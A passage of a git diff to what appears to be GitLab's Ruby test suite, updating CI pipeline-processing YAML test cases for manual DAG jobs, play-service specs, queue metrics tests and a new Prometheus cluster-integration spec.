--- a/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
+++ b/spec/services/ci/pipeline_processing/shared_processing_service_tests_with_yaml.rb
@@ -49,7 +49,13 @@ RSpec.shared_context 'Pipeline Processing Service Tests With Yaml' do
statuses = pipeline.latest_statuses.by_name(job_names).to_a
expect(statuses.count).to eq(job_names.count) # ensure that we have the same counts
- statuses.each { |status| status.public_send("#{event}!") }
+ statuses.each do |status|
+ if event == 'play'
+ status.play(user)
+ else
+ status.public_send("#{event}!")
+ end
+ end
end
end
end
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_build_test_two_manual_review_test_staging_production.yml b/spec/services/ci/pipeline_processing/test_cases/dag_build_test_two_manual_review_test_staging_production.yml
new file mode 100644
index 00000000000..ed009ee4f25
--- /dev/null
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_build_test_two_manual_review_test_staging_production.yml
@@ -0,0 +1,171 @@
+config:
+ stages: [build, test, review, deploy, post_deploy]
+
+ build:
+ stage: build
+ script: exit 0
+
+ test:
+ stage: test
+ script: exit 0
+
+ release_test1:
+ stage: test
+ when: manual
+ script: exit 0
+
+ release_test2:
+ stage: test
+ when: manual
+ script: exit 0
+
+ review:
+ stage: review
+ script: exit 0
+ needs: [test, release_test1, release_test2]
+
+ staging:
+ stage: deploy
+ script: exit 0
+ needs: [release_test1]
+
+ production:
+ stage: deploy
+ script: exit 0
+ needs: [release_test2]
+
+ after_deploy:
+ stage: post_deploy
+ script: exit 0
+ needs: [production]
+
+ handle_failure:
+ stage: post_deploy
+ when: on_failure
+ script: exit 0
+
+init:
+ expect:
+ pipeline: pending
+ stages:
+ build: pending
+ test: created
+ review: created
+ deploy: created
+ post_deploy: created
+ jobs:
+ build: pending
+ test: created
+ release_test1: created
+ release_test2: created
+ review: created
+ staging: created
+ production: created
+ after_deploy: created
+ handle_failure: created
+
+transitions:
+ - event: success
+ jobs: [build]
+ expect:
+ pipeline: running
+ stages:
+ build: success
+ test: pending
+ review: skipped
+ deploy: skipped
+ post_deploy: pending
+ jobs:
+ build: success
+ test: pending
+ release_test1: manual
+ release_test2: manual
+ review: skipped
+ staging: skipped
+ production: skipped
+ after_deploy: skipped
+ handle_failure: created
+
+ - event: success
+ jobs: [test]
+ expect:
+ pipeline: success
+ stages:
+ build: success
+ test: success
+ review: skipped
+ deploy: skipped
+ post_deploy: skipped
+ jobs:
+ build: success
+ test: success
+ release_test1: manual
+ release_test2: manual
+ review: skipped
+ staging: skipped
+ production: skipped
+ after_deploy: skipped
+ handle_failure: skipped
+
+ - event: play
+ jobs: [release_test1]
+ expect:
+ pipeline: running
+ stages:
+ build: success
+ test: running
+ review: skipped
+ deploy: pending
+ post_deploy: pending
+ jobs:
+ build: success
+ test: success
+ release_test1: pending
+ release_test2: manual
+ review: skipped
+ staging: created
+ production: skipped
+ after_deploy: skipped
+ handle_failure: created
+
+ - event: success
+ jobs: [release_test1]
+ expect:
+ pipeline: running
+ stages:
+ build: success
+ test: success
+ review: skipped
+ deploy: pending
+ post_deploy: pending
+ jobs:
+ build: success
+ test: success
+ release_test1: success
+ release_test2: manual
+ review: skipped
+ staging: pending
+ production: skipped
+ after_deploy: skipped
+ handle_failure: created
+
+ - event: success
+ jobs: [staging]
+ expect:
+ pipeline: success
+ stages:
+ build: success
+ test: success
+ review: skipped
+ deploy: success
+ post_deploy: skipped
+ jobs:
+ build: success
+ test: success
+ release_test1: success
+ release_test2: manual
+ review: skipped
+ staging: success
+ production: skipped
+ after_deploy: skipped
+ handle_failure: skipped
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false.yml
index 1d61cd24f8c..7987f4568a4 100644
--- a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false.yml
@@ -21,7 +21,7 @@ init:
deploy: created
transitions:
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: pending
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_always.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_always.yml
index bb8723aa303..ea7f0f06c50 100644
--- a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_always.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_always.yml
@@ -22,7 +22,7 @@ init:
deploy: created
transitions:
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: pending
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_on_failure.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_on_failure.yml
index 3099a94befb..5c839ebc0e9 100644
--- a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_on_failure.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_false_deploy_on_failure.yml
@@ -22,7 +22,7 @@ init:
deploy: created
transitions:
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: pending
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true.yml
deleted file mode 100644
index b8fcdd1566a..00000000000
--- a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true.yml
+++ /dev/null
@@ -1,55 +0,0 @@
-config:
- test:
- stage: test
- when: manual
- allow_failure: true
- script: exit 1
-
- deploy:
- stage: deploy
- script: exit 0
- needs: [test]
-
-init:
- expect:
- pipeline: skipped
- stages:
- test: skipped
- deploy: skipped
- jobs:
- test: manual
- deploy: skipped
-
-transitions:
- - event: enqueue
- jobs: [test]
- expect:
- pipeline: pending
- stages:
- test: pending
- deploy: skipped
- jobs:
- test: pending
- deploy: skipped
-
- - event: run
- jobs: [test]
- expect:
- pipeline: running
- stages:
- test: running
- deploy: skipped
- jobs:
- test: running
- deploy: skipped
-
- - event: drop
- jobs: [test]
- expect:
- pipeline: success
- stages:
- test: success
- deploy: skipped
- jobs:
- test: failed
- deploy: skipped
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_deploy_on_failure.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_deploy_on_failure.yml
index 81aad4940b6..2d379f2d7c5 100644
--- a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_deploy_on_failure.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_deploy_on_failure.yml
@@ -22,7 +22,7 @@ init:
deploy: skipped
transitions:
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: pending
@@ -31,7 +31,7 @@ transitions:
deploy: skipped
jobs:
test: pending
- deploy: skipped
+ deploy: created
- event: drop
jobs: [test]
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_fails.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_fails.yml
new file mode 100644
index 00000000000..fbe04c7e18e
--- /dev/null
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_fails.yml
@@ -0,0 +1,66 @@
+config:
+ test:
+ stage: test
+ when: manual
+ allow_failure: true
+ script: exit 1
+
+ deploy:
+ stage: deploy
+ script: exit 0
+ needs: [test]
+
+init:
+ expect:
+ pipeline: skipped
+ stages:
+ test: skipped
+ deploy: skipped
+ jobs:
+ test: manual
+ deploy: skipped
+
+transitions:
+ - event: play
+ jobs: [test]
+ expect:
+ pipeline: pending
+ stages:
+ test: pending
+ deploy: skipped
+ jobs:
+ test: pending
+ deploy: created
+
+ - event: run
+ jobs: [test]
+ expect:
+ pipeline: running
+ stages:
+ test: running
+ deploy: skipped
+ jobs:
+ test: running
+ deploy: created
+
+ - event: drop
+ jobs: [test]
+ expect:
+ pipeline: running
+ stages:
+ test: success
+ deploy: pending
+ jobs:
+ test: failed
+ deploy: pending
+
+ - event: success
+ jobs: [deploy]
+ expect:
+ pipeline: success
+ stages:
+ test: success
+ deploy: success
+ jobs:
+ test: failed
+ deploy: success
diff --git a/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_succeeds.yml b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_succeeds.yml
new file mode 100644
index 00000000000..68ef057f62d
--- /dev/null
+++ b/spec/services/ci/pipeline_processing/test_cases/dag_test_manual_allow_failure_true_succeeds.yml
@@ -0,0 +1,66 @@
+config:
+ test:
+ stage: test
+ when: manual
+ allow_failure: true
+ script: exit 0
+
+ deploy:
+ stage: deploy
+ script: exit 0
+ needs: [test]
+
+init:
+ expect:
+ pipeline: skipped
+ stages:
+ test: skipped
+ deploy: skipped
+ jobs:
+ test: manual
+ deploy: skipped
+
+transitions:
+ - event: play
+ jobs: [test]
+ expect:
+ pipeline: pending
+ stages:
+ test: pending
+ deploy: skipped
+ jobs:
+ test: pending
+ deploy: created
+
+ - event: run
+ jobs: [test]
+ expect:
+ pipeline: running
+ stages:
+ test: running
+ deploy: skipped
+ jobs:
+ test: running
+ deploy: created
+
+ - event: success
+ jobs: [test]
+ expect:
+ pipeline: running
+ stages:
+ test: success
+ deploy: pending
+ jobs:
+ test: success
+ deploy: pending
+
+ - event: success
+ jobs: [deploy]
+ expect:
+ pipeline: success
+ stages:
+ test: success
+ deploy: success
+ jobs:
+ test: success
+ deploy: success
diff --git a/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_false.yml b/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_false.yml
index 2ffa35b56d7..759b4d0ae75 100644
--- a/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_false.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_false.yml
@@ -20,7 +20,7 @@ init:
deploy: created
transitions:
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: pending
diff --git a/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true.yml b/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true.yml
index 088fab5ca09..93eecae8fcf 100644
--- a/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true.yml
@@ -31,7 +31,7 @@ transitions:
test: manual
deploy: success
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: running
diff --git a/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true_deploy_on_failure.yml b/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true_deploy_on_failure.yml
index 2b30316aef6..301f9631845 100644
--- a/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true_deploy_on_failure.yml
+++ b/spec/services/ci/pipeline_processing/test_cases/stage_test_manual_allow_failure_true_deploy_on_failure.yml
@@ -21,7 +21,7 @@ init:
deploy: skipped
transitions:
- - event: enqueue
+ - event: play
jobs: [test]
expect:
pipeline: pending
@@ -30,7 +30,7 @@ transitions:
deploy: skipped
jobs:
test: pending
- deploy: skipped
+ deploy: created
- event: drop
jobs: [test]
diff --git a/spec/services/ci/pipeline_trigger_service_spec.rb b/spec/services/ci/pipeline_trigger_service_spec.rb
index 89d3da89011..36055779a2e 100644
--- a/spec/services/ci/pipeline_trigger_service_spec.rb
+++ b/spec/services/ci/pipeline_trigger_service_spec.rb
@@ -55,17 +55,6 @@ RSpec.describe Ci::PipelineTriggerService do
expect(var.variable_type).to eq('file')
end
- context 'when FF ci_trigger_payload_into_pipeline is disabled' do
- before do
- stub_feature_flags(ci_trigger_payload_into_pipeline: false)
- end
-
- it 'does not store the payload as a variable' do
- expect { result }.not_to change { Ci::PipelineVariable.count }
- expect(result[:pipeline].variables).to be_empty
- end
- end
-
context 'when commit message has [ci skip]' do
before do
allow_next(Ci::Pipeline).to receive(:git_commit_message) { '[ci skip]' }
diff --git a/spec/services/ci/play_bridge_service_spec.rb b/spec/services/ci/play_bridge_service_spec.rb
index 0482ad4d76f..d6130325b5a 100644
--- a/spec/services/ci/play_bridge_service_spec.rb
+++ b/spec/services/ci/play_bridge_service_spec.rb
@@ -35,6 +35,28 @@ RSpec.describe Ci::PlayBridgeService, '#execute' do
expect(bridge.reload.user).to eq(user)
end
+ context 'when a subsequent job is skipped' do
+ let!(:job) { create(:ci_build, :skipped, pipeline: pipeline, stage_idx: bridge.stage_idx + 1) }
+
+ before do
+ create(:ci_build_need, build: job, name: bridge.name)
+ end
+
+ it 'marks the subsequent job as processable' do
+ expect { execute_service }.to change { job.reload.status }.from('skipped').to('created')
+ end
+
+ context 'when the FF ci_fix_pipeline_status_for_dag_needs_manual is disabled' do
+ before do
+ stub_feature_flags(ci_fix_pipeline_status_for_dag_needs_manual: false)
+ end
+
+ it 'does not change the subsequent job' do
+ expect { execute_service }.not_to change { job.reload.status }.from('skipped')
+ end
+ end
+ end
+
context 'when bridge is not playable' do
let(:bridge) { create(:ci_bridge, :failed, pipeline: pipeline, downstream: downstream_project) }
diff --git a/spec/services/ci/play_build_service_spec.rb b/spec/services/ci/play_build_service_spec.rb
index 00c6de7681d..78de91675f9 100644
--- a/spec/services/ci/play_build_service_spec.rb
+++ b/spec/services/ci/play_build_service_spec.rb
@@ -61,6 +61,28 @@ RSpec.describe Ci::PlayBuildService, '#execute' do
expect(build.reload.user).to eq user
end
+ context 'when a subsequent job is skipped' do
+ let!(:job) { create(:ci_build, :skipped, pipeline: pipeline, stage_idx: build.stage_idx + 1) }
+
+ before do
+ create(:ci_build_need, build: job, name: build.name)
+ end
+
+ it 'marks the subsequent job as processable' do
+ expect { service.execute(build) }.to change { job.reload.status }.from('skipped').to('created')
+ end
+
+ context 'when the FF ci_fix_pipeline_status_for_dag_needs_manual is disabled' do
+ before do
+ stub_feature_flags(ci_fix_pipeline_status_for_dag_needs_manual: false)
+ end
+
+ it 'does not change the subsequent job' do
+ expect { service.execute(build) }.not_to change { job.reload.status }.from('skipped')
+ end
+ end
+ end
+
context 'when variables are supplied' do
let(:job_variables) do
[{ key: 'first', secret_value: 'first' },
diff --git a/spec/services/ci/process_build_service_spec.rb b/spec/services/ci/process_build_service_spec.rb
index 42a92504839..b54fc45d36a 100644
--- a/spec/services/ci/process_build_service_spec.rb
+++ b/spec/services/ci/process_build_service_spec.rb
@@ -145,28 +145,5 @@ RSpec.describe Ci::ProcessBuildService, '#execute' do
expect { subject }.to change { build.status }.to(after_status)
end
end
-
- context 'when FF skip_dag_manual_and_delayed_jobs is disabled on the project' do
- let_it_be(:other_project) { create(:project) }
-
- before do
- stub_feature_flags(skip_dag_manual_and_delayed_jobs: other_project)
- end
-
- where(:build_when, :current_status, :after_status) do
- :on_success | 'success' | 'pending'
- :on_success | 'skipped' | 'skipped'
- :manual | 'success' | 'manual'
- :manual | 'skipped' | 'manual'
- :delayed | 'success' | 'manual'
- :delayed | 'skipped' | 'manual'
- end
-
- with_them do
- it 'proceeds the build' do
- expect { subject }.to change { build.status }.to(after_status)
- end
- end
- end
end
end
diff --git a/spec/services/ci/process_pipeline_service_spec.rb b/spec/services/ci/process_pipeline_service_spec.rb
index e02536fd07f..254bd19c808 100644
--- a/spec/services/ci/process_pipeline_service_spec.rb
+++ b/spec/services/ci/process_pipeline_service_spec.rb
@@ -10,6 +10,14 @@ RSpec.describe Ci::ProcessPipelineService do
create(:ci_empty_pipeline, ref: 'master', project: project)
end
+ let(:pipeline_processing_events_counter) { double(increment: true) }
+ let(:legacy_update_jobs_counter) { double(increment: true) }
+
+ let(:metrics) do
+ double(pipeline_processing_events_counter: pipeline_processing_events_counter,
+ legacy_update_jobs_counter: legacy_update_jobs_counter)
+ end
+
subject { described_class.new(pipeline) }
before do
@@ -17,22 +25,13 @@ RSpec.describe Ci::ProcessPipelineService do
stub_not_protect_default_branch
project.add_developer(user)
+
+ allow(subject).to receive(:metrics).and_return(metrics)
end
describe 'processing events counter' do
- let(:metrics) { double('pipeline metrics') }
- let(:counter) { double('events counter') }
-
- before do
- allow(subject)
- .to receive(:metrics).and_return(metrics)
- allow(metrics)
- .to receive(:pipeline_processing_events_counter)
- .and_return(counter)
- end
-
it 'increments processing events counter' do
- expect(counter).to receive(:increment)
+ expect(pipeline_processing_events_counter).to receive(:increment)
subject.execute
end
@@ -64,33 +63,22 @@ RSpec.describe Ci::ProcessPipelineService do
expect(all_builds.retried).to contain_exactly(build_retried)
end
- context 'counter ci_legacy_update_jobs_as_retried_total' do
- let(:counter) { double(increment: true) }
+ it 'increments the counter' do
+ expect(legacy_update_jobs_counter).to receive(:increment)
+ subject.execute
+ end
+
+ context 'when the previous build has already retried column true' do
before do
- allow(Gitlab::Metrics).to receive(:counter).and_call_original
- allow(Gitlab::Metrics).to receive(:counter)
- .with(:ci_legacy_update_jobs_as_retried_total, anything)
- .and_return(counter)
+ build_retried.update_columns(retried: true)
end
- it 'increments the counter' do
- expect(counter).to receive(:increment)
+ it 'does not increment the counter' do
+ expect(legacy_update_jobs_counter).not_to receive(:increment)
subject.execute
end
-
- context 'when the previous build has already retried column true' do
- before do
- build_retried.update_columns(retried: true)
- end
-
- it 'does not increment the counter' do
- expect(counter).not_to receive(:increment)
-
- subject.execute
- end
- end
end
end
diff --git a/spec/services/ci/register_job_service_spec.rb b/spec/services/ci/register_job_service_spec.rb
index 9187dd4f300..02b48e8ba06 100644
--- a/spec/services/ci/register_job_service_spec.rb
+++ b/spec/services/ci/register_job_service_spec.rb
@@ -225,6 +225,28 @@ module Ci
end
end
+ context 'when the use_distinct_in_register_job_object_hierarchy feature flag is enabled' do
+ before do
+ stub_feature_flags(use_distinct_in_register_job_object_hierarchy: true)
+ stub_feature_flags(use_distinct_for_all_object_hierarchy: true)
+ end
+
+ it 'calls DISTINCT' do
+ expect(described_class.new(group_runner).send(:builds_for_group_runner).to_sql).to include("DISTINCT")
+ end
+ end
+
+ context 'when the use_distinct_in_register_job_object_hierarchy feature flag is disabled' do
+ before do
+ stub_feature_flags(use_distinct_in_register_job_object_hierarchy: false)
+ stub_feature_flags(use_distinct_for_all_object_hierarchy: false)
+ end
+
+ it 'does not call DISTINCT' do
+ expect(described_class.new(group_runner).send(:builds_for_group_runner).to_sql).not_to include("DISTINCT")
+ end
+ end
+
context 'group runner' do
let(:build) { execute(group_runner) }
@@ -593,9 +615,22 @@ module Ci
create(:ci_build, pipeline: pipeline, tag_list: %w[non-matching])
end
- it "observes queue size of only matching jobs" do
+ it 'observes queue size of only matching jobs' do
# pending_job + 2 x matching ones
- expect(Gitlab::Ci::Queue::Metrics.queue_size_total).to receive(:observe).with({}, 3)
+ expect(Gitlab::Ci::Queue::Metrics.queue_size_total).to receive(:observe)
+ .with({ runner_type: specific_runner.runner_type }, 3)
+
+ expect(execute(specific_runner)).to eq(pending_job)
+ end
+
+ it 'observes queue processing time by the runner type' do
+ expect(Gitlab::Ci::Queue::Metrics.queue_iteration_duration_seconds)
+ .to receive(:observe)
+ .with({ runner_type: specific_runner.runner_type }, anything)
+
+ expect(Gitlab::Ci::Queue::Metrics.queue_retrieval_duration_seconds)
+ .to receive(:observe)
+ .with({ runner_type: specific_runner.runner_type }, anything)
expect(execute(specific_runner)).to eq(pending_job)
end
diff --git a/spec/services/ci/retry_build_service_spec.rb b/spec/services/ci/retry_build_service_spec.rb
index bdf60bb3fdc..7dd3d963e56 100644
--- a/spec/services/ci/retry_build_service_spec.rb
+++ b/spec/services/ci/retry_build_service_spec.rb
@@ -181,7 +181,7 @@ RSpec.describe Ci::RetryBuildService do
end
it 'resolves todos for old build that failed' do
- expect(MergeRequests::AddTodoWhenBuildFailsService)
+ expect(::MergeRequests::AddTodoWhenBuildFailsService)
.to receive_message_chain(:new, :close)
service.execute(build)
diff --git a/spec/services/ci/retry_pipeline_service_spec.rb b/spec/services/ci/retry_pipeline_service_spec.rb
index 3c6a99efbf8..3e2e9f07723 100644
--- a/spec/services/ci/retry_pipeline_service_spec.rb
+++ b/spec/services/ci/retry_pipeline_service_spec.rb
@@ -272,7 +272,7 @@ RSpec.describe Ci::RetryPipelineService, '#execute' do
end
it 'closes all todos about failed jobs for pipeline' do
- expect(MergeRequests::AddTodoWhenBuildFailsService)
+ expect(::MergeRequests::AddTodoWhenBuildFailsService)
.to receive_message_chain(:new, :close_all)
service.execute(pipeline)
diff --git a/spec/services/ci/test_failure_history_service_spec.rb b/spec/services/ci/test_failure_history_service_spec.rb
index d9c1c8dc3fa..c19df6e217b 100644
--- a/spec/services/ci/test_failure_history_service_spec.rb
+++ b/spec/services/ci/test_failure_history_service_spec.rb
@@ -11,15 +11,15 @@ RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
context 'when pipeline has failed builds with test reports' do
before do
- # The test report has 2 test case failures
+ # The test report has 2 unit test failures
create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: project)
end
- it 'creates test case failures records' do
+ it 'creates unit test failures records' do
execute_service
- expect(Ci::TestCase.count).to eq(2)
- expect(Ci::TestCaseFailure.count).to eq(2)
+ expect(Ci::UnitTest.count).to eq(2)
+ expect(Ci::UnitTestFailure.count).to eq(2)
end
context 'when pipeline is not for the default branch' do
@@ -30,8 +30,8 @@ RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
it 'does not persist data' do
execute_service
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
+ expect(Ci::UnitTest.count).to eq(0)
+ expect(Ci::UnitTestFailure.count).to eq(0)
end
end
@@ -43,12 +43,12 @@ RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
it 'does not fail but does not persist new data' do
expect { described_class.new(pipeline).execute }.not_to raise_error
- expect(Ci::TestCase.count).to eq(2)
- expect(Ci::TestCaseFailure.count).to eq(2)
+ expect(Ci::UnitTest.count).to eq(2)
+ expect(Ci::UnitTestFailure.count).to eq(2)
end
end
- context 'when number of failed test cases exceed the limit' do
+ context 'when number of failed unit tests exceed the limit' do
before do
stub_const("#{described_class.name}::MAX_TRACKABLE_FAILURES", 1)
end
@@ -56,16 +56,16 @@ RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
it 'does not persist data' do
execute_service
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
+ expect(Ci::UnitTest.count).to eq(0)
+ expect(Ci::UnitTestFailure.count).to eq(0)
end
end
- context 'when number of failed test cases across multiple builds exceed the limit' do
+ context 'when number of failed unit tests across multiple builds exceed the limit' do
before do
stub_const("#{described_class.name}::MAX_TRACKABLE_FAILURES", 2)
- # This other test report has 1 unique test case failure which brings us to 3 total failures across all builds
+ # This other test report has 1 unique unit test failure which brings us to 3 total failures across all builds
# thus exceeding the limit of 2 for MAX_TRACKABLE_FAILURES
create(:ci_build, :failed, :test_reports_with_duplicate_failed_test_names, pipeline: pipeline, project: project)
end
@@ -73,23 +73,23 @@ RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
it 'does not persist data' do
execute_service
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
+ expect(Ci::UnitTest.count).to eq(0)
+ expect(Ci::UnitTestFailure.count).to eq(0)
end
end
end
- context 'when test failure data have duplicates within the same payload (happens when the JUnit report has duplicate test case names but have different failures)' do
+ context 'when test failure data have duplicates within the same payload (happens when the JUnit report has duplicate unit test names but have different failures)' do
before do
- # The test report has 2 test case failures but with the same test case keys
+ # The test report has 2 unit test failures but with the same unit test keys
create(:ci_build, :failed, :test_reports_with_duplicate_failed_test_names, pipeline: pipeline, project: project)
end
it 'does not fail but does not persist duplicate data' do
expect { execute_service }.not_to raise_error
- expect(Ci::TestCase.count).to eq(1)
- expect(Ci::TestCaseFailure.count).to eq(1)
+ expect(Ci::UnitTest.count).to eq(1)
+ expect(Ci::UnitTestFailure.count).to eq(1)
end
end
@@ -102,8 +102,8 @@ RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
it 'does not persist data' do
execute_service
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
+ expect(Ci::UnitTest.count).to eq(0)
+ expect(Ci::UnitTestFailure.count).to eq(0)
end
end
end
diff --git a/spec/services/clusters/integrations/create_service_spec.rb b/spec/services/clusters/integrations/create_service_spec.rb
new file mode 100644
index 00000000000..cfc0943b6ad
--- /dev/null
+++ b/spec/services/clusters/integrations/create_service_spec.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Clusters::Integrations::CreateService, '#execute' do
+ let_it_be(:project) { create(:project) }
+ let_it_be_with_reload(:cluster) { create(:cluster, :provided_by_gcp, projects: [project]) }
+
+ let(:params) do
+ { application_type: 'prometheus', enabled: true }
+ end
+
+ let(:service) do
+ described_class.new(container: project, cluster: cluster, current_user: project.owner, params: params)
+ end
+
+ it 'creates a new Prometheus instance' do
+ expect(service.execute).to be_success
+
+ expect(cluster.integration_prometheus).to be_present
+ expect(cluster.integration_prometheus).to be_persisted
+ expect(cluster.integration_prometheus).to be_enabled
+ end
+
+ context 'enabled param is false' do
+ let(:params) do
+ { application_type: 'prometheus', enabled: false }
+ end
+
+ it 'creates a new uninstalled Prometheus instance' do
+ expect(service.execute).to be_success
+
+ expect(cluster.integration_prometheus).to be_present
+ expect(cluster.integration_prometheus).to be_persisted
+ expect(cluster.integration_prometheus).not_to be_enabled
+ end
+ end
+
+ context 'unauthorized user' do
+ let(:service) do
+ unauthorized_user = create(:user)
+
+ described_class.new(container: project, cluster: cluster, current_user: unauthorized_user, params: params)
+ end
+
+ it 'does not create a new Prometheus instance' do
+ expect(service.execute).to be_error
+
+ expect(cluster.integration_prometheus).to be_nil
+ end
+ end
+
+ context 'prometheus record exists' do
+ before do
+ create(:clusters_integrations_prometheus, cluster: cluster)
+ end
+
+ it 'updates the Prometheus instance' do
+ expect(service.execute).to be_success
+
+ expect(cluster.integration_prometheus).to be_present
+ expect(cluster.integration_prometheus).to be_persisted
+ expect(cluster.integration_prometheus).to be_enabled
+ end
+
+ context 'enabled param is false' do
+ let(:params) do
+ { application_type: 'prometheus', enabled: false }
+ end
+
+ it 'updates the Prometheus instance as uninstalled' do
+ expect(service.execute).to be_success
+
+ expect(cluster.integration_prometheus).to be_present
+ expect(cluster.integration_prometheus).to be_persisted
+ expect(cluster.integration_prometheus).not_to be_enabled
+ end
+ end
+ end
+
+ context 'for an un-supported application type' do
+ let(:params) do
+ { application_type: 'something_else', enabled: true }
+ end
+
+ it 'errors' do
+ expect { service.execute}.to raise_error(ArgumentError)
+ end
+ end
+end
diff --git a/spec/services/deployments/link_merge_requests_service_spec.rb b/spec/services/deployments/link_merge_requests_service_spec.rb
index e2ac2273b8c..a5a13230d6f 100644
--- a/spec/services/deployments/link_merge_requests_service_spec.rb
+++ b/spec/services/deployments/link_merge_requests_service_spec.rb
@@ -32,6 +32,17 @@ RSpec.describe Deployments::LinkMergeRequestsService do
end
end
+ context 'when the deployment failed' do
+ it 'does nothing' do
+ environment = create(:environment, name: 'foo')
+ deploy = create(:deployment, :failed, environment: environment)
+
+ expect(deploy).not_to receive(:link_merge_requests)
+
+ described_class.new(deploy).execute
+ end
+ end
+
context 'when there is a previous deployment' do
it 'links all merge requests merged since the previous deployment' do
deploy1 = create(
diff --git a/spec/services/design_management/copy_design_collection/copy_service_spec.rb b/spec/services/design_management/copy_design_collection/copy_service_spec.rb
index ddbed91815f..03242487b53 100644
--- a/spec/services/design_management/copy_design_collection/copy_service_spec.rb
+++ b/spec/services/design_management/copy_design_collection/copy_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe DesignManagement::CopyDesignCollection::CopyService, :clean_gitla
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:issue, refind: true) { create(:issue, project: project) }
+
let(:target_issue) { create(:issue) }
subject { described_class.new(project, user, issue: issue, target_issue: target_issue).execute }
diff --git a/spec/services/design_management/delete_designs_service_spec.rb b/spec/services/design_management/delete_designs_service_spec.rb
index ed161b4c8ff..341f71fa62c 100644
--- a/spec/services/design_management/delete_designs_service_spec.rb
+++ b/spec/services/design_management/delete_designs_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe DesignManagement::DeleteDesignsService do
let_it_be(:project) { create(:project) }
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:user) { create(:user) }
+
let(:designs) { create_designs }
subject(:service) { described_class.new(project, user, issue: issue, designs: designs) }
diff --git a/spec/services/design_management/save_designs_service_spec.rb b/spec/services/design_management/save_designs_service_spec.rb
index f36e68c8dbd..5bc763cc95e 100644
--- a/spec/services/design_management/save_designs_service_spec.rb
+++ b/spec/services/design_management/save_designs_service_spec.rb
@@ -7,6 +7,7 @@ RSpec.describe DesignManagement::SaveDesignsService do
let_it_be_with_reload(:issue) { create(:issue) }
let_it_be(:developer) { create(:user, developer_projects: [issue.project]) }
+
let(:project) { issue.project }
let(:user) { developer }
let(:files) { [rails_sample] }
@@ -309,7 +310,7 @@ RSpec.describe DesignManagement::SaveDesignsService do
end
context 'when the user is not allowed to upload designs' do
- let(:user) { build_stubbed(:user) }
+ let(:user) { build_stubbed(:user, id: non_existing_record_id) }
it_behaves_like 'a service error'
end
diff --git a/spec/services/draft_notes/publish_service_spec.rb b/spec/services/draft_notes/publish_service_spec.rb
index f83e91b683f..f93622dc25a 100644
--- a/spec/services/draft_notes/publish_service_spec.rb
